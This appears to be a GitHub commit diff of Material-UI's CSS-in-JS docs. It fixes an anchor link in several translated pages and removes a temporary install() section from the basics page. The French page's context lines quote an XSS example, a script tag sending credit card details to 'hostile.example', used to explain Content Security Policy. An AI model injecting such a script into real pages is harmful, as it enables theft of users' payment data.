You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: docs/src/pages/css-in-js/advanced/advanced-de.md
+3-3
Original file line number
Diff line number
Diff line change
@@ -192,7 +192,7 @@ export default App;
192
192
193
193
## Klassennamen
194
194
195
-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195
+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
Copy file name to clipboardExpand all lines: docs/src/pages/css-in-js/advanced/advanced-es.md
+3-3
Original file line number
Diff line number
Diff line change
@@ -192,7 +192,7 @@ export default App;
192
192
193
193
## Class names
194
194
195
-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195
+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
Copy file name to clipboardExpand all lines: docs/src/pages/css-in-js/advanced/advanced-fr.md
+3-3
Original file line number
Diff line number
Diff line change
@@ -192,7 +192,7 @@ export default App;
192
192
193
193
## Class names
194
194
195
-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195
+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
196
196
197
197
```jsx
198
198
constuseStyles=makeStyles({
@@ -283,7 +283,7 @@ Fondamentalement, CSP atténue les attaques XSS (Cross-Site Scripting) en oblige
283
283
<script>
284
284
sendCreditCardDetails('https://hostile.example');
285
285
</script>
286
-
286
+
287
287
288
288
Cette vulnérabilité permettrait à l'attaquant d'exécuter n'importe quoi. Cependant, avec un en-tête CSP sécurisé, le navigateur ne chargera pas ce script.
289
289
@@ -322,4 +322,4 @@ Ensuite, vous devez transmettre ce nonce à JSS afin qu’il puisse l’ajouter
Copy file name to clipboardExpand all lines: docs/src/pages/css-in-js/advanced/advanced-ja.md
+3-3
Original file line number
Diff line number
Diff line change
@@ -192,7 +192,7 @@ export default App;
192
192
193
193
## Class names
194
194
195
-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195
+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
Copy file name to clipboardExpand all lines: docs/src/pages/css-in-js/advanced/advanced-pt.md
+3-3
Original file line number
Diff line number
Diff line change
@@ -192,7 +192,7 @@ export default App;
192
192
193
193
## Class names
194
194
195
-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195
+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
Copy file name to clipboardExpand all lines: docs/src/pages/css-in-js/advanced/advanced-ru.md
+3-3
Original file line number
Diff line number
Diff line change
@@ -192,7 +192,7 @@ export default App;
192
192
193
193
## Имена классов
194
194
195
-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195
+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
Copy file name to clipboardExpand all lines: docs/src/pages/css-in-js/basics/basics.md
+3-21
Original file line number
Diff line number
Diff line change
@@ -10,13 +10,13 @@ You can use it, but you don't have to. This styling solution is [interoperable w
10
10
11
11
In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the
12
12
components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style)
13
-
a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
13
+
a *CSS in JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
-[Convert SCSS (Sass) to CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
17
+
-[Convert SCSS (Sass) to CSS in JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
18
18
19
-
Material-UI's styling solution is inspired by many other CSS-in-JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
19
+
Material-UI's styling solution is inspired by many other CSS in JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
20
20
21
21
- 💅 You can expect [the same advantages](https://www.styled-components.com/docs/basics#motivation) as styled-components.
To switch from the default style implementation to this newest version, you need to execute the following code **before importing any** Material-UI's components:
42
-
43
-
```js
44
-
import { install } from'@material-ui/styles';
45
-
46
-
install();
47
-
```
48
-
49
-
It is **recommended** to place the above code in a separate file (e.g. `bootstrap.js`) and to import it in your application's entry point (e.g. `index.js`).
50
-
This ensures that the installation is executed before anything else, because ECMAScript imports are hoisted to the top of the module. If the installation step is not performed correctly the resulting build could have conflicting class names.
51
-
52
-
We will make `@material-ui/styles` the default style implementation for the core components in Material-UI v4. This installation step is **temporary**.
53
-
Behind the scenes, the `install()` function switches the styling engine the core components use.
54
-
55
-
Also, the `@material-ui/core/MuiThemeProvider` component can be replaced with `@material-ui/styles/ThemeProvider`. We will remove this component in v4.
56
-
57
39
## Getting started
58
40
59
41
We provide 3 different APIs. They all share the same underlying logic.
0 commit comments